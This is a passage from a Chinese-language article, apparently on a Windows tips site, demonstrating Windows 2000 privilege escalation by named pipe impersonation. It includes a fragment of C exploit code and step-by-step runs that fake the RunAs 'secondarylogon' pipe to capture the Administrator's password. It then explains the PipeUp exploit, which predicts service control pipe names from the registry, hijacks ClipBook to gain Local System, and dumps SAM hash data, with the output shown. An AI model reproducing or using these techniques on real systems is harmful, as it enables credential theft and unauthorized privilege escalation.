在Win2000中提升权限的实例及心得StartupInfo.cb = sizeof(StartupInfo); ZeroMemory(&ProcessInfo, sizeof(ProcessInfo)); ret = CreateProcessWithLogonW( lpUsername, lpDomain, lpPassword, dwLogonFlags, lpApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, &StartupInfo, &ProcessInfo ); if (! ret ) ExitProcess (GetLastError()) ; return 0; } <================================================================> 在伪造Named Pipe之前,必须关闭RunAs的“\\.\pipe\secondarylogon”,要不然运行radix1112200101会得到Permission Denied之类的错误。 我先以超级用户Administrator登录dallas,然后从Administrative Tools->Services中终止RunAs服务进程 (一般的情况下,只有超级用户Administrator才能终止RunAs服务进程)。这样RunAs拥有的“\\.\pipe\secondarylogon”就关闭(Close)了。 再以我的一般用户账号moda登录dallas,接着运行radix1112200101伪造一个新的Named Pipe “\\.\pipe\secondarylogon”。 D:\MyJob\securitylab\radix\Debug>radix1112200101 Created pipe and waiting for clients... 怎么确定“\\.\pipe\secondarylogon”被成功地创建了呢?我们可以使用pipelist程序,这是我从sysinternals网站下载的宝贝之一,它能列出系统中所有的Named Pipe: D:\MyJob\tool\pipelist\RELEASE>pipelist PipeList v1.01 by Mark Russinovich http://www.sysinternals.com Pipe Name Instances Max Instances --------- --------- ------------- InitShutdown 2 -1 lsass 5 -1 ntsvcs 50 -1 scerpc 2 -1 net\NtControlPipe1 1 1 DhcpClient 1 -1 net\NtControlPipe2 1 1 Winsock2\CatalogChangeListener-194-0 1 1 net\NtControlPipe3 1 1 spoolss 2 -1 。。。。。。。 。。。。。。。 net\NtControlPipe21 1 1 tapsrv 2 -1 ROUTER 2 -1 WMIEP_2ac 2 -1 WMIEP_154 2 -1 SecondaryLogon 1 10 D:\MyJob\tool\pipelist\RELEASE> 你们看到,最后一个Named Pipe就是radix1112200101刚刚伪造Secondarylogon。 现在运行radixvictim。对於这个程序,用户甲就是无辜而无知的“moda”,而用户乙就是超级用户Administrator。请注意Exploit程序radix1112200101的输出: D:\MyJob\securitylab\radix\Debug>radix1112200101 Created pipe and waiting for clients... Read 4 bytes. (ASCII Dump) > ? Read 318 bytes. (ASCII Dump) □ ? ? 8 X j □ □ ? ? ? - + - ? A d m i n i s t r a t o r ? d a l l a s ? m o d a * D : \ W i n n t \ N o t e P a d . e x e ? N o t e P a d . e x e l D H l W i n S t a 0 \ D e f a u l t _ D:\MyJob\securitylab\radix\Debug> 你们可以看到,超级用户Administrator的信息(包括密码)全部都被radix1112200101接收到了。得到Administrator的账号信息后,再提升权限就易如反掌了! 这个Exploit的关键在于:第一,Named Pipe的名字是广为人知的,黑客的Named Pipe也可以贴上同样的名字“\\.\pipe\secondarylogon”去冒充;第二,CreateProcessWithLogonW在使用Named Pipe之前并没有核实Named Pipe的Server端进程,它不管Server端是连通到RunAs进程还是到其它的进程。类似的这样问题是在Windows操作系统中是广泛存在的,再看下面的例子: 我是在网站http://www.dogmile.com上看到的这个例子的,作者为maceo。根据maceo的研究,Windows 2000操作系统广泛使用了Named Pipe来控制(或者说管理)服务进程,包括象Clipbook服务进程呀、Telnetd服务进程呀等等,而且这些Named Pipe的名字是可以猜得到的。如果黑客抢先用猜到的名字创建Named Pipe的话,服务进程启动时会直接连接到黑客的Named Pipe上,於是黑客程序就可以通过ImpersonateNamedPipeClient()取得服务进程的权限(缺省设置为Local System权限)。那么,黑客是如何猜到这些Named Pipe的名字的呢?很简单,他是从Registry中查询到的,在下面的地址: HKEY_LOCAL_MACHINE\ SYSTEM\ CurrentControlSet\ Control\ ServiceCurrent 如果ServiceCurrent的双字值(DWORD Value)是X,那么服务进程所用到的Named Pipe的名字就是“\\.\pipe\net\NtControlPipe(X+1)”,这也就是黑客要伪造的Named Pipe的名字。 maceo给出了几个Exploit程序,我下面就在Dallas上演示其中的一个----PipeUp。这个Exploit程序首先从Registry中取得下一个服务进程要使用的Named Pipe名字,然后抢先创建这个Named Pipe;紧接着它启动服务进程ClipBook,由于ClipBook启动后会主动连接这个伪造的Named Pipe,於是PipeUp就通过函数ImpersonateNamedPipeClient而获取了Local System的账号权限(因为ClipBook一般以Local System的账号运行)。这样进程PipeUp就有足够的权限把Local System在Security Account Manager(SAM)中的信息读出来。 你们可以从网站http://www.dogmile.com下载这个Exploit的源程序,这里限于篇幅我就不转载这个程序了(画外音:其实是限于版权)。 先以Administrator的账号登录dallas,把ClipBook服务进程停止。 再以一般用户moda登录,运行Exploit程序PipeUp,下面是PipeUp运行及Exploit的结果: D:\MyJob\securitylab\PipeUp\Debug>pipeup The ClipBook service is not started. More help is available by typing NET HELPMSG 3521. Impersonating: SYSTEM Dumping SAM for RID 500 ... F:0x020001000000000010f3e3f89b33c2010000000000000000f0a09fa11061c101ffffffffffff ff7fb0c25115f430c201f401000001020000100200000000000000002a010100000000000d000a00 0000 上一篇: 自动安装Windows2000系统 下一篇: 怎么样让Win2000系统达到最佳性能 更多相关文章
|
推荐文章
精彩文章
|